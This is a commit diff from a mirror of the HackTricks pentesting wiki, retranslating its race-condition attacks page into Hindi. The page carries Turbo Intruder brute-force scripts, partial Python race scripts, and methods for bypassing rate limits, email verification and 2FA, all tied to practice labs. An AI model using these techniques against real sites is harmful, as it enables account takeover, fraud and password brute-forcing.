mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/websocket-attacks.md', 'src/pentesti
This commit is contained in:
Translator
parent
b081e28488
commit
8cefc4a118
@ -837,9 +837,14 @@
|
||||
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
|
||||
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
||||
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
|
||||
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
|
||||
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
|
||||
- [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)
|
||||
- [ios CVE-2021-30807-IOMobileFrameBuffer](binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md)
|
||||
- [ios Corellium](binary-exploitation/ios-exploiting/ios-corellium.md)
|
||||
- [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
|
||||
- [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
|
||||
|
||||
|
||||
# 🤖 AI
|
||||
- [AI Security](AI/README.md)
|
||||
|
||||
@ -3,56 +3,56 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> इस तकनीक की गहरी समझ प्राप्त करने के लिए [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) में मूल रिपोर्ट देखें।
|
||||
> इस तकनीक की गहन समझ प्राप्त करने के लिए मूल रिपोर्ट देखें [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||||
|
||||
## Enhancing Race Condition Attacks
|
||||
## Race Condition हमलों को बेहतर बनाना
|
||||
|
||||
Race conditions का लाभ उठाने में मुख्य बाधा यह सुनिश्चित करना है कि कई अनुरोध एक ही समय में संभाले जाएं, **उनकी प्रोसेसिंग समय में बहुत कम अंतर के साथ—आदर्श रूप से, 1ms से कम**।
|
||||
race conditions का फायदा उठाने में मुख्य बाधा यह सुनिश्चित करना है कि कई requests एक ही समय में संसाधित हों, और उनके प्रोसेसिंग टाइम में **बहुत कम अंतर — आदर्श रूप से 1ms से कम** हो।
|
||||
|
||||
यहां कुछ तकनीकें हैं जो अनुरोधों को समन्वयित करने के लिए हैं:
|
||||
यहाँ आप Requests को सिंक्रोनाइज़ करने के लिए कुछ तकनीकें पा सकते हैं:
|
||||
|
||||
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
|
||||
|
||||
- **HTTP/2**: एकल TCP कनेक्शन पर दो अनुरोध भेजने का समर्थन करता है, नेटवर्क जिटर के प्रभाव को कम करता है। हालाँकि, सर्वर-साइड भिन्नताओं के कारण, दो अनुरोध एक सुसंगत race condition exploit के लिए पर्याप्त नहीं हो सकते हैं।
|
||||
- **HTTP/1.1 'Last-Byte Sync'**: 20-30 अनुरोधों के अधिकांश भागों को पूर्व-भेजने की अनुमति देता है, एक छोटे टुकड़े को रोकता है, जिसे फिर एक साथ भेजा जाता है, सर्वर पर समान रूप से पहुंचने को प्राप्त करता है।
|
||||
- **HTTP/2**: एकल TCP कनेक्शन पर दो requests भेजने का समर्थन करता है, जिससे network jitter का प्रभाव कम होता है। हालांकि, server-side विविधताओं के कारण, दो requests एक स्थिर race condition exploit के लिए पर्याप्त नहीं हो सकते।
|
||||
- **HTTP/1.1 'Last-Byte Sync'**: 20-30 requests के अधिकांश हिस्सों को पहले ही भेजने में सक्षम बनाता है, एक छोटा सा fragment रोका जाता है, जिसे फिर साथ में भेजा जाता है, जिससे server पर एक साथ आगमन हासिल होता है।
|
||||
|
||||
**Last-Byte Sync के लिए तैयारी** में शामिल हैं:
|
||||
**Preparation for Last-Byte Sync** में शामिल हैं:
|
||||
|
||||
1. अंतिम बाइट को समाप्त किए बिना हेडर और बॉडी डेटा भेजना।
|
||||
1. headers और body डेटा को अंतिम byte को छोड़कर भेजना, stream को समाप्त किए बिना।
|
||||
2. प्रारंभिक भेजने के बाद 100ms के लिए रुकना।
|
||||
3. अंतिम फ्रेम को बैच करने के लिए Nagle के एल्गोरिदम का उपयोग करने के लिए TCP_NODELAY को अक्षम करना।
|
||||
4. कनेक्शन को गर्म करने के लिए पिंग करना।
|
||||
3. अंतिम frames को बैच करने के लिए TCP_NODELAY को disable करना ताकि Nagle's algorithm का उपयोग हो सके।
|
||||
4. कनेक्शन को warm up करने के लिए ping करना।
|
||||
|
||||
रोकें गए फ्रेम का अगला भेजना एकल पैकेट में उनकी पहुंच का परिणाम होना चाहिए, जिसे Wireshark के माध्यम से सत्यापित किया जा सकता है। यह विधि स्थिर फ़ाइलों पर लागू नहीं होती है, जो आमतौर पर RC हमलों में शामिल नहीं होती हैं।
|
||||
बाद में रोके गए frames को भेजने पर उनका आगमन एक single packet में होना चाहिए, जिसे Wireshark के जरिए verify किया जा सकता है। यह विधि static files पर लागू नहीं होती, जो आमतौर पर RC attacks में शामिल नहीं होते।
|
||||
|
||||
### Adapting to Server Architecture
|
||||
### Server Architecture के अनुसार अनुकूलन
|
||||
|
||||
लक्ष्य की आर्किटेक्चर को समझना महत्वपूर्ण है। फ्रंट-एंड सर्वर अनुरोधों को अलग तरीके से रूट कर सकते हैं, जो समय को प्रभावित करता है। महत्वहीन अनुरोधों के माध्यम से पूर्व-emptive सर्वर-साइड कनेक्शन गर्म करना, अनुरोध समय को सामान्य कर सकता है।
|
||||
लक्ष्य की architecture को समझना महत्वपूर्ण है। Front-end servers requests को अलग तरीके से route कर सकते हैं, जिससे timing प्रभावित होती है। महत्वहीन requests के जरिए preemptive server-side connection warming request timing को सामान्य कर सकता है।
|
||||
|
||||
#### Handling Session-Based Locking
|
||||
|
||||
PHP के सत्र हैंडलर जैसे ढांचे सत्र द्वारा अनुरोधों को अनुक्रमित करते हैं, संभावित रूप से कमजोरियों को अस्पष्ट करते हैं। प्रत्येक अनुरोध के लिए विभिन्न सत्र टोकन का उपयोग इस समस्या को हल कर सकता है।
|
||||
PHP जैसे frameworks का session handler सत्र के अनुसार requests को serialize करते हैं, जिससे संभावित vulnerabilities छिप सकती हैं। हर request के लिए अलग session tokens का उपयोग इस समस्या को circumvent कर सकता है।
|
||||
|
||||
#### Overcoming Rate or Resource Limits
|
||||
|
||||
यदि कनेक्शन गर्म करना प्रभावी नहीं है, तो dummy अनुरोधों की बाढ़ के माध्यम से वेब सर्वर के दर या संसाधन सीमा विलंब को जानबूझकर ट्रिगर करना एकल-पैकेट हमले को सुविधाजनक बना सकता है, जिससे सर्वर-साइड विलंब उत्पन्न होता है जो race conditions के लिए अनुकूल है।
|
||||
यदि connection warming प्रभावी नहीं है, तो dummy requests के बाढ़ के जरिए web servers के rate या resource limits द्वारा देरी पैदा करने के लिए जानबूझकर trigger करना single-packet attack को सुगम बना सकता है, क्योंकि यह server-side delay उत्पन्न करता है जो race conditions के अनुकूल होता है।
|
||||
|
||||
## Attack Examples
|
||||
|
||||
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: आप अनुरोध को **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`) पर भेज सकते हैं, आप अनुरोध में उस मान को बदल सकते हैं जिसे आप **`%s`** के लिए ब्रूट फोर्स करना चाहते हैं जैसे `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` और फिर ड्रॉप डाउन से **`examples/race-single-packer-attack.py`** का चयन करें:
|
||||
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: आप request को **Turbo intruder** को भेज सकते हैं (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), आप request में उस value को बदल सकते हैं जिसे आप brute force करना चाहते हैं **`%s`** जैसे `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` और फिर drop down से **`examples/race-single-packer-attack.py`** चुनें:
|
||||
|
||||
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **विभिन्न मान भेजने** जा रहे हैं, तो आप इस कोड को संशोधित कर सकते हैं जो क्लिपबोर्ड से एक शब्द सूची का उपयोग करता है:
|
||||
यदि आप अलग-अलग values भेजने जा रहे हैं, तो आप code को इस तरह modify कर सकते हैं जो clipboard से एक wordlist का उपयोग करता है:
|
||||
```python
|
||||
passwords = wordlists.clipboard
|
||||
for password in passwords:
|
||||
engine.queue(target.req, password, gate='race1')
|
||||
```
|
||||
> [!WARNING]
|
||||
> यदि वेब HTTP2 का समर्थन नहीं करता है (केवल HTTP1.1) तो `Engine.THREADED` या `Engine.BURP` का उपयोग करें, `Engine.BURP2` के बजाय।
|
||||
> अगर वेब HTTP2 को सपोर्ट नहीं करता (केवल HTTP1.1) तो `Engine.THREADED` या `Engine.BURP` का उपयोग `Engine.BURP2` की बजाय करें।
|
||||
|
||||
- **Tubo Intruder - HTTP2 एकल-पैकेट हमला (कई एंडपॉइंट)**: यदि आपको 1 एंडपॉइंट पर एक अनुरोध भेजने की आवश्यकता है और फिर अन्य एंडपॉइंट्स पर कई भेजने की आवश्यकता है ताकि RCE को ट्रिगर किया जा सके, तो आप `race-single-packet-attack.py` स्क्रिप्ट को कुछ इस तरह बदल सकते हैं:
|
||||
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: यदि आपको 1 endpoint पर एक request भेजनी हो और फिर RCE ट्रिगर करने के लिए अन्य endpoints पर कई requests भेजनी हों, तो आप `race-single-packet-attack.py` script को कुछ इस तरह बदल सकते हैं:
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt)
|
||||
# send all the queued requests for this attempt
|
||||
engine.openGate(currentAttempt)
|
||||
```
|
||||
- यह **Repeater** में भी उपलब्ध है, Burp Suite में नए '**Send group in parallel**' विकल्प के माध्यम से।
|
||||
- **limit-overrun** के लिए, आप समूह में **एक ही अनुरोध 50 बार** जोड़ सकते हैं।
|
||||
- **connection warming** के लिए, आप **group** के **शुरुआत** में कुछ **अनुरोध** जोड़ सकते हैं जो वेब सर्वर के कुछ गैर-स्थिर भाग पर हों।
|
||||
- **delaying** प्रक्रिया के लिए **एक अनुरोध और दूसरे** के बीच **प्रसंस्करण** में 2 उप-राज्य चरणों में, आप **दोनों अनुरोधों के बीच अतिरिक्त अनुरोध जोड़ सकते हैं**।
|
||||
- **multi-endpoint** RC के लिए, आप **request** भेजना शुरू कर सकते हैं जो **hidden state** की ओर जाता है और फिर इसके तुरंत बाद **50 requests** जो **hidden state** का लाभ उठाते हैं।
|
||||
- यह **Repeater** में भी उपलब्ध है, Burp Suite के नए '**Send group in parallel**' विकल्प के माध्यम से।
|
||||
- **limit-overrun** के लिए आप समूह में **उसी अनुरोध को 50 बार** जोड़ सकते हैं।
|
||||
- **connection warming** के लिए आप समूह के **beginning** में web server के किसी non static हिस्से के लिए कुछ **requests** जोड़ सकते हैं।
|
||||
- दो उप-स्टेट्स वाले चरणों में एक अनुरोध और अगले अनुरोध के प्रोसेसिंग के **between** प्रक्रिया को **delaying** करने के लिए, आप दोनों अनुरोधों के बीच अतिरिक्त **requests** जोड़ सकते हैं।
|
||||
- एक **multi-endpoint** RC के लिए आप वह **request** भेजना शुरू कर सकते हैं जो **goes to the hidden state**, और उसके तुरंत बाद उस छिपे हुए स्टेट को **exploits the hidden state** करने वाले **50 requests** भेज सकते हैं।
|
||||
|
||||
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Automated python script**: इस स्क्रिप्ट का लक्ष्य एक उपयोगकर्ता का ईमेल बदलना है जबकि इसे लगातार सत्यापित किया जा रहा है जब तक कि नए ईमेल का सत्यापन टोकन अंतिम ईमेल पर नहीं पहुंचता (यह इसलिए है क्योंकि कोड में एक RC देखा जा रहा था जहां एक ईमेल को संशोधित करना संभव था लेकिन सत्यापन पुराने पर भेजा गया था क्योंकि ईमेल को इंगित करने वाला चर पहले से पहले वाले के साथ भरा हुआ था)।\
|
||||
जब प्राप्त ईमेल में "objetivo" शब्द पाया जाता है, तो हम जानते हैं कि हमें बदले गए ईमेल का सत्यापन टोकन प्राप्त हुआ है और हम हमले को समाप्त कर देते हैं।
|
||||
- **Automated python script**: इस स्क्रिप्ट का उद्देश्य एक उपयोगकर्ता का email बदलना है और लगातार उसे verify करते रहना है जब तक नए email का verification token अंतिम email पर नहीं पहुँच जाता (कोड में ऐसा RC देखा गया था जहाँ email को संशोधित किया जा सकता था लेकिन verification पुराने ईमेल पर भेज दिया जाता था क्योंकि email सूचित करने वाला variable पहले वाले से पहले ही populated था)।\
|
||||
जब प्राप्त ईमेल्स में शब्द "objetivo" पाया जाता है तो हमें पता चलता है कि हमने बदले गए ईमेल का verification token प्राप्त कर लिया है और हम हमला समाप्त कर देते हैं।
|
||||
```python
|
||||
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
||||
# Script from victor to solve a HTB challenge
|
||||
@ -217,22 +217,22 @@ h2_conn.close_connection()
|
||||
|
||||
response = requests.get(url, verify=False)
|
||||
```
|
||||
### एकल पैकेट हमले में सुधार
|
||||
### Single Packet Attack में सुधार
|
||||
|
||||
मूल शोध में यह बताया गया है कि इस हमले की सीमा 1,500 बाइट्स है। हालाँकि, [**इस पोस्ट**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) में यह बताया गया था कि कैसे एकल पैकेट हमले की 1,500-बाइट सीमा को **IP लेयर फ्रैग्मेंटेशन का उपयोग करके TCP की 65,535 B विंडो सीमा** तक बढ़ाया जा सकता है (एकल पैकेट को कई IP पैकेट में विभाजित करना) और उन्हें अलग-अलग क्रम में भेजना, जिससे पैकेट को फिर से इकट्ठा करने से रोका जा सके जब तक कि सभी फ्रैग्मेंट सर्वर तक नहीं पहुँच जाते। इस तकनीक ने शोधकर्ता को लगभग 166ms में 10,000 अनुरोध भेजने की अनुमति दी।
|
||||
मूल रिसर्च में समझाया गया है कि इस attack की सीमा 1,500 bytes है। हालांकि, [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) में बताया गया है कि IP layer fragmentation का उपयोग करके single packet attack की 1,500-byte सीमा को TCP की 65,535 B window limitation तक बढ़ाना संभव है (एक single packet को कई IP packets में विभाजित करना) और उन्हें अलग-अलग क्रम में भेजना, जिससे तब तक packet का पुनः संयोजन रोका जा सकता है जब तक सभी fragments server तक न पहुँच जाएँ। इस तकनीक ने researcher को लगभग 166ms में 10,000 requests भेजने की अनुमति दी।
|
||||
|
||||
ध्यान दें कि हालांकि यह सुधार RC में हमले को अधिक विश्वसनीय बनाता है जो सैकड़ों/हजारों पैकेट को एक साथ आने की आवश्यकता होती है, लेकिन इसके कुछ सॉफ़्टवेयर सीमाएँ भी हो सकती हैं। कुछ लोकप्रिय HTTP सर्वर जैसे Apache, Nginx और Go में `SETTINGS_MAX_CONCURRENT_STREAMS` सेटिंग 100, 128 और 250 है। हालाँकि, अन्य जैसे NodeJS और nghttp2 में यह असीमित है।\
|
||||
इसका मतलब यह है कि Apache एकल TCP कनेक्शन से केवल 100 HTTP कनेक्शनों पर विचार करेगा (इस RC हमले को सीमित करना)।
|
||||
ध्यान दें कि हालांकि यह सुधार उन RC मामलों में attack को अधिक reliable बनाता है जिनमें सैकड़ों/हज़ारों packets को एक साथ पहुँचने की आवश्यकता होती है, इसके कुछ software सीमाएँ भी हो सकती हैं। कुछ लोकप्रिय HTTP servers जैसे Apache, Nginx और Go में `SETTINGS_MAX_CONCURRENT_STREAMS` सेटिंग कड़ाई से 100, 128 और 250 पर होती है। हालांकि, अन्य जैसे NodeJS और nghttp2 में यह unlimited है.\
|
||||
इसका मूल मतलब है कि Apache केवल एक single TCP connection से 100 HTTP connections ही स्वीकार करेगा (जो इस RC attack को सीमित करता है)।
|
||||
|
||||
आप इस तकनीक का उपयोग करते हुए कुछ उदाहरण [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main) में पा सकते हैं।
|
||||
आप इस तकनीक का उपयोग करने वाले कुछ उदाहरण इस repo में पा सकते हैं: https://github.com/Ry0taK/first-sequence-sync/tree/main
|
||||
|
||||
## कच्चा BF
|
||||
## Raw BF
|
||||
|
||||
पिछले शोध से पहले, कुछ पेलोड थे जो केवल पैकेट को जितनी जल्दी हो सके भेजने की कोशिश करते थे ताकि एक RC का कारण बन सके।
|
||||
पिछले research से पहले कुछ ऐसे payloads उपयोग किए जाते थे जो केवल packets को जितनी जल्दी हो सके भेजने की कोशिश करते थे ताकि RC पैदा हो सके।
|
||||
|
||||
- **रीपीटर:** पिछले अनुभाग से उदाहरण देखें।
|
||||
- **इंट्रूडर**: **Intruder** को **अनुरोध** भेजें, **विकल्प मेनू में** **थ्रेड्स की संख्या** को **30** पर सेट करें, और **Null payloads** के रूप में पेलोड चुनें और **30** उत्पन्न करें।
|
||||
- **टर्बो इंट्रूडर**
|
||||
- **Repeater:** पिछले सेक्शन के उदाहरण देखें।
|
||||
- **Intruder**: **request** को **Intruder** पर भेजें, **Options menu** के अंदर **number of threads** को **30** पर सेट करें, payload के रूप में **Null payloads** चुनें और **30** जनरेट करें।
|
||||
- **Turbo Intruder**
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
@ -283,71 +283,71 @@ asyncio.run(main())
|
||||
|
||||
### Limit-overrun / TOCTOU
|
||||
|
||||
यह रेस कंडीशन का सबसे बुनियादी प्रकार है जहाँ **कमजोरियाँ** उन स्थानों पर **प्रकट** होती हैं जो **आपको एक क्रिया करने के लिए कितनी बार सीमित करते हैं**। जैसे कि एक वेब स्टोर में एक ही डिस्काउंट कोड का कई बार उपयोग करना। एक बहुत आसान उदाहरण [**इस रिपोर्ट**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) या [**इस बग**](https://hackerone.com/reports/759247)** में पाया जा सकता है।**
|
||||
यह race condition का सबसे बुनियादी प्रकार है जहाँ **vulnerabilities** उन जगहों पर **प्रकट** होते हैं जो किसी कार्रवाई को करने की संख्या को **सीमित** करते हैं। उदाहरण के लिए किसी वेब स्टोर में एक ही डिस्काउंट कोड को कई बार उपयोग करना। एक बहुत ही साधारण उदाहरण [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) या [**this bug**](https://hackerone.com/reports/759247)**.**
|
||||
|
||||
इस प्रकार के हमले के कई रूप हैं, जिनमें शामिल हैं:
|
||||
इस प्रकार के हमले के कई रूप हैं, जैसे:
|
||||
|
||||
- एक उपहार कार्ड को कई बार भुनाना
|
||||
- एक उत्पाद को कई बार रेटिंग देना
|
||||
- अपने खाते के बैलेंस से अधिक नकद निकालना या ट्रांसफर करना
|
||||
- एक ही CAPTCHA समाधान का पुनः उपयोग करना
|
||||
- एंटी-ब्रूट-फोर्स दर सीमा को बायपास करना
|
||||
- एक gift card को कई बार redeem करना
|
||||
- किसी उत्पाद को बार-बार रेट करना
|
||||
- अपने account balance से अधिक राशि withdraw या transfer करना
|
||||
- एक ही CAPTCHA solution को reuse करना
|
||||
- Bypassing an anti-brute-force rate limit
|
||||
|
||||
### **Hidden substates**
|
||||
|
||||
जटिल रेस कंडीशनों का शोषण अक्सर छिपे हुए या **अनपेक्षित मशीन उप-राज्यों** के साथ बातचीत करने के लिए संक्षिप्त अवसरों का लाभ उठाने में शामिल होता है। इसे कैसे करना है:
|
||||
कठिन race conditions का फायदा अक्सर उन छोटे समय-खिड़कियों में उठाया जाता है जहाँ आप hidden या **unintended machine substates** के साथ इंटरैक्ट कर सकते हैं। इस तरह से आगे बढ़ें:
|
||||
|
||||
1. **संभावित छिपे हुए उप-राज्यों की पहचान करें**
|
||||
- उन एंडपॉइंट्स को पहचानने से शुरू करें जो महत्वपूर्ण डेटा को संशोधित या इंटरैक्ट करते हैं, जैसे कि उपयोगकर्ता प्रोफाइल या पासवर्ड रीसेट प्रक्रियाएँ। ध्यान केंद्रित करें:
|
||||
- **स्टोरेज**: सर्वर-साइड स्थायी डेटा को संभालने वाले एंडपॉइंट्स को प्राथमिकता दें, बजाय उन डेटा को संभालने वाले जो क्लाइंट-साइड हैं।
|
||||
- **एक्शन**: उन ऑपरेशनों की तलाश करें जो मौजूदा डेटा को बदलते हैं, जो नए डेटा जोड़ने की तुलना में शोषण योग्य स्थितियाँ बनाने की अधिक संभावना रखते हैं।
|
||||
- **कीइंग**: सफल हमले आमतौर पर उसी पहचानकर्ता पर की गई ऑपरेशनों में शामिल होते हैं, जैसे कि उपयोगकर्ता नाम या रीसेट टोकन।
|
||||
2. **प्रारंभिक परीक्षण करें**
|
||||
- पहचाने गए एंडपॉइंट्स पर रेस कंडीशन हमलों के साथ परीक्षण करें, किसी भी अपेक्षित परिणामों से विचलन के लिए अवलोकन करें। अप्रत्याशित प्रतिक्रियाएँ या एप्लिकेशन व्यवहार में परिवर्तन एक कमजोरी का संकेत दे सकते हैं।
|
||||
3. **कमजोरी का प्रदर्शन करें**
|
||||
- हमले को कमजोरियों का शोषण करने के लिए आवश्यक न्यूनतम अनुरोधों की संख्या तक सीमित करें, अक्सर केवल दो। इस चरण में सटीक समय के कारण कई प्रयासों या स्वचालन की आवश्यकता हो सकती है।
|
||||
1. **Identify Potential Hidden Substates**
|
||||
- शुरुआत उन endpoints की पहचान से करें जो critical डेटा जैसे user profiles या password reset प्रक्रियाओं को modify या interact करते हैं। ध्यान दें:
|
||||
- **Storage**: उन endpoints को प्राथमिकता दें जो server-side persistent data को manipulate करते हैं, न कि उनपर जो client-side data संभालते हैं।
|
||||
- **Action**: ऐसे operations खोजें जो मौजूदा डेटा को बदलते हैं — नए डेटा जोड़ने की तुलना में ऐसे ऑपरेशन exploit करने के लिए अधिक संभावित होते हैं।
|
||||
- **Keying**: सफल हमलों में आम तौर पर वही identifier उपयोग होता है, जैसे username या reset token।
|
||||
2. **Conduct Initial Probing**
|
||||
- पहचाने गए endpoints पर race condition हमले करके टेस्ट करें और अपेक्षित परिणामों से किसी भी विचलन को observe करें। अप्रत्याशित responses या एप्लिकेशन व्यवहार में बदलाव vulnerability का संकेत दे सकते हैं।
|
||||
3. **Demonstrate the Vulnerability**
|
||||
- हमले को exploit करने के लिए आवश्यक न्यूनतम अनुरोधों की संख्या तक सीमित करें, अक्सर बस दो। इस चरण में precise timing के कारण कई प्रयास या automation की आवश्यकता हो सकती है।
|
||||
|
||||
### Time Sensitive Attacks
|
||||
|
||||
अनुरोधों के समय में सटीकता कमजोरियों को प्रकट कर सकती है, विशेष रूप से जब सुरक्षा टोकनों के लिए पूर्वानुमानित विधियों जैसे टाइमस्टैम्प का उपयोग किया जाता है। उदाहरण के लिए, टाइमस्टैम्प के आधार पर पासवर्ड रीसेट टोकन उत्पन्न करना समानांतर अनुरोधों के लिए समान टोकन की अनुमति दे सकता है।
|
||||
अनुरोधों के समय में सटीकता vulnerabilities उजागर कर सकती है, खासकर जब security tokens के लिए timestamps जैसे predictable तरीके उपयोग किए गए हों। उदाहरण के लिए, timestamp पर आधारित password reset tokens simultaneous requests के लिए identical tokens पैदा कर सकते हैं।
|
||||
|
||||
**शोषण करने के लिए:**
|
||||
To Exploit:
|
||||
|
||||
- सटीक समय का उपयोग करें, जैसे एकल पैकेट हमला, समानांतर पासवर्ड रीसेट अनुरोध करने के लिए। समान टोकन एक कमजोरी का संकेत देते हैं।
|
||||
- सटीक timing का उपयोग करें, जैसे single packet attack, एक साथ password reset requests करने के लिए। identical tokens vulnerability का संकेत हैं।
|
||||
|
||||
**उदाहरण:**
|
||||
Example:
|
||||
|
||||
- एक ही समय में दो पासवर्ड रीसेट टोकन का अनुरोध करें और उनकी तुलना करें। मेल खाते टोकन टोकन उत्पन्न करने में एक दोष का सुझाव देते हैं।
|
||||
- एक ही समय पर दो password reset tokens request करें और उनकी तुलना करें। यदि tokens मेल खाते हैं तो यह token generation में दोष का संकेत है।
|
||||
|
||||
**इसका परीक्षण करें** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **।**
|
||||
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.**
|
||||
|
||||
## Hidden substates case studies
|
||||
|
||||
### Pay & add an Item
|
||||
|
||||
इसका परीक्षण करें [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) यह देखने के लिए कि **भुगतान** कैसे करें और **एक अतिरिक्त** आइटम **जोड़ें** जिसके लिए **आपको भुगतान करने की आवश्यकता नहीं होगी**।
|
||||
Check this [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) to see how to **pay** in a store and **add an extra** item you that **won't need to pay for it**.
|
||||
|
||||
### Confirm other emails
|
||||
|
||||
विचार यह है कि **एक ईमेल पते की पुष्टि करें और इसे एक अलग में बदलें** यह देखने के लिए कि क्या प्लेटफ़ॉर्म नए बदले गए को सत्यापित करता है।
|
||||
विचार यह है कि एक ही समय पर किसी email address को verify किया जाए और उसे किसी दूसरे email में change किया जाए ताकि पता चल सके कि प्लेटफ़ॉर्म नए email को verify करता है या नहीं।
|
||||
|
||||
### Change email to 2 emails addresses Cookie based
|
||||
|
||||
[**इस शोध**](https://portswigger.net/research/smashing-the-state-machine) के अनुसार Gitlab इस तरीके से अधिग्रहण के लिए कमजोर था क्योंकि यह **एक ईमेल के ईमेल सत्यापन टोकन को दूसरे ईमेल पर भेज सकता है**।
|
||||
According to [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab इस तरीके से takeover के लिए vulnerable था क्योंकि यह संभवतः एक email का email verification token दूसरे email पर **send** कर सकता था।
|
||||
|
||||
**इसका परीक्षण करें** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **।**
|
||||
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.**
|
||||
|
||||
### Hidden Database states / Confirmation Bypass
|
||||
|
||||
यदि **2 अलग-अलग लेखन** का उपयोग करके **जानकारी** को **डेटाबेस** के अंदर **जोड़ने** के लिए किया जाता है, तो एक छोटा सा समय होता है जहाँ **केवल पहला डेटा डेटाबेस के अंदर लिखा गया है**। उदाहरण के लिए, जब एक उपयोगकर्ता बनाया जाता है, तो **उपयोगकर्ता नाम** और **पासवर्ड** को **लिखा** जा सकता है और **फिर टोकन** को नए बनाए गए खाते की पुष्टि करने के लिए लिखा जाता है। इसका मतलब है कि एक छोटे समय के लिए **खाते की पुष्टि करने के लिए टोकन शून्य है**।
|
||||
यदि किसी database में जानकारी जोड़ने के लिए **2 different writes** उपयोग किए जाते हैं, तो एक छोटा सा समय-खिड़की होता है जहाँ केवल पहला डेटा ही database में लिखा गया होता है। उदाहरण के लिए, user बनाते समय पहले **username** और **password** लिखे जा सकते हैं और उसके बाद newly created account को confirm करने के लिए token लिखा जा सकता है। इसका अर्थ है कि एक छोटे समय लिए account confirm करने का **token null** हो सकता है।
|
||||
|
||||
इसलिए **एक खाता पंजीकृत करना और तुरंत खाली टोकन के साथ कई अनुरोध भेजना** (`token=` या `token[]=` या किसी अन्य भिन्नता) एक खाते की पुष्टि करने की अनुमति दे सकता है जहाँ आप ईमेल को नियंत्रित नहीं करते हैं।
|
||||
इसलिए एक account register करना और तुरंत account confirm करने के लिए खाली token के साथ कई requests भेजना (`token=` या `token[]=` या कोई अन्य variation) c**onfirm an account** की अनुमति दे सकता है जहाँ आप email को control नहीं करते।
|
||||
|
||||
**इसका परीक्षण करें** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **।**
|
||||
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.**
|
||||
|
||||
### Bypass 2FA
|
||||
|
||||
निम्नलिखित प्सuedo-कोड रेस कंडीशन के प्रति संवेदनशील है क्योंकि बहुत छोटे समय में **2FA लागू नहीं होता** जबकि सत्र बनाया जाता है:
|
||||
The following pseudo-code is vulnerable to race condition because in a very small time the **2FA is not enforced** while the session is created:
|
||||
```python
|
||||
session['userid'] = user.userid
|
||||
if user.mfa_enabled:
|
||||
@ -355,24 +355,26 @@ session['enforce_mfa'] = True
|
||||
# generate and send MFA code to user
|
||||
# redirect browser to MFA code entry form
|
||||
```
|
||||
### OAuth2 स्थायी स्थायीता
|
||||
### OAuth2 की शाश्वत स्थिरता
|
||||
|
||||
